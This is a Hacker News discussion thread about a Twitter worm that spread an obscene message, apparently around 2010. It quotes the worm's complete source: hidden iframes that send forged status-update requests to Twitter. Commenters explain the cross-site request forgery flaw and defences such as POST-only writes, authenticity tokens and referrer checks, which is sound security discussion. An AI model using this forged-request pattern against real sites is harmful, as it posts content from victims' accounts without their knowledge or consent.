Twitter worm? Sex with goats? | Hacker News Reader

Twitter worm? Sex with goats?

25 pointscjus26 comments

Looks like twitter is having troubles again. Looks like a worm is posting the message "i love anal sex with goats" followed by a post with a link.

View on HN

Below is the source of the worm for the curious - it's surprisingly very simple.

    <html>
    <head></head>
    <body>
    <script>
    var el1 = document.createElement('iframe');
    var el2 = document.createElement('iframe');
    el1.style.visibility="hidden";
    el2.style.visibility="hidden";
    el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
    el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
    document.getElementsByTagName("body")[0].appendChild(el1);
    document.getElementsByTagName("body")[0].appendChild(el2);
    </script>
    </body>
    </html>

Yet another reason why all GET requests in an API should be idempotent.

idempotent

I don't think that word means what you think it means.

Not unless you think having sex with goats once is fine but having sex with goats multiple times is bad.

You probably meant "GET requests should be side effect free".

While strictly speaking impotence wouldn't prevent this (trivially speaking you could only allow a single tweet with a given content), in practice idempotence is a sufficient to avoid this.

I'm glad it's not slashdot because this would be an impossible choice between +1 informative and +1 funny

Good point. Was getting terminology mixed up with PUT.

Idempotent means that the side effects of n > 0 requests are the same as for a single request. The "update status" method is not idempotent, as calling it multiple times would post multiple statuses. I think the parent's statement is sound.

A request that is side effect free is idempotent by definition.

Right, but the concept was created to talk about distributed systems and remote procedure calls where if a failure happened on your end and you didn't know if the procedure call worked, you wouldn't have to check if it worked before retrying. So it doesn't quite fit here. Also, I don't think idempotence is a solution to this since a) This is more of a security issue, and less of a systems design one and b) you might actually have a legitimate use case for multiple posts

...the concept was created to talk about distributed systems and remote procedure calls...

I'm pretty sure the concept's use in mathematics predates that by far.

so, if the first call posts a tweet and the second does not, we shall be satisfied? I stand by the side effect free side :)

(notice that tweet posting is actually kind of idempotent in twitter: if you post the same message twice, it will only appear once)

RFC 2616 HTTP/1.1 has a definition of idempotence with regard to request methods:

http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html

Section 9.1.2

"Methods can also have the property of "idempotence" in that (aside from error or expiration issues) the side-effects of N > 0 identical requests is the same as for a single request."

Even if this were a POST request, once could simply issue an AJAX request of any type to Twitter and it would have the same effect.

Alternatively build a form in the iframe and use JS to submit it to Twitter.

That would be a cross-site request forgery (CSRF) attack:

http://en.wikipedia.org/wiki/Cross-site_request_forgery

I'm amazed Twitter doesn't use nonce values on their status updates: they've been around long enough that this shouldn't be an issue.

http://en.wikipedia.org/wiki/Cryptographic_nonce

Links like that are a common way to implement "share on twitter" buttons.

Twitter does monitor the referring URL and can automatically block suspicious sites. For some reason pastehtml.com didn't set off any alarm bells.

Being around for a while was part of the problem, they didn't want to break existing sites.

Kids -- this is why you only support POST/PUTs for writes, and if possible, require some kind of authenticity token. I guess this is what al3x was talking about when he meant that Twitter should hire a security expert.

That alone won't protect you against all CSRF attacks since you're allowed to POST forms cross-domain.

Checking the referrer header is a start. Including the token you mentioned is even better.

Sure, the key will stop CSRF attacks that rely on just an iframe, but if my attack is more sophisticated then I can scrape the token from a legit form and re-post with whatever data I want.

> scrape the token from a legit form

Assuming the tokens are strongly tied to a user ID, how do you propose getting yourself a readable copy of this form?

(There are a lot of ways of tying the token to a user ID... associations in a backend database/memcache; token = encrypt(userid, garbage); token = garbage + cryptohash(user_id + server-side-secret + that_same_garbage) ... )

(edit: tweak to 'cryptohash' method.)

That token should not be considered optional. Even if you require authentication you should still have a one time expiring token tied to an actual form recently shown on your site for this sort of thing, Or an api key if it's a rest service.

Your "if possible" clause makes it seem optional but if you don't include it then your service is vulnerable, period.

Honestly it doesn't require a security "expert" to tell them the current system is insecure. A basic grasp of web security should be enough to use PUTS with auth tokens!

Twitter's blog post on the vulnerability: http://status.twitter.com/post/1192873885/malicious-links-on....

Twitter is vulnerable to CSRF (which is what this is). And it is so simple to prevent it in rails (which is what twitter uses). Interestingly the page announcing csrf protection in rails uses a twitter csrf example. in 2007!! and twitter still hasn't done anything. http://m.onkey.org/2007/9/28/csrf-protection-for-your-existi...

Also this status post should be a POST.

Twitter has had CSRF protection in the form of the authenticity_token parameter since that attack in 2007. This worm exploited a recent change to the Tweet Button that allowed status updates to be made on a GET.

Interesting that it hits just as the TC Hackday demos go live, I wonder how many of those are going to be using twitter and if this will affect them (will twitter take the api down for a bit while they fix this or if this is part of a hack)

Reply on news.ycombinator.com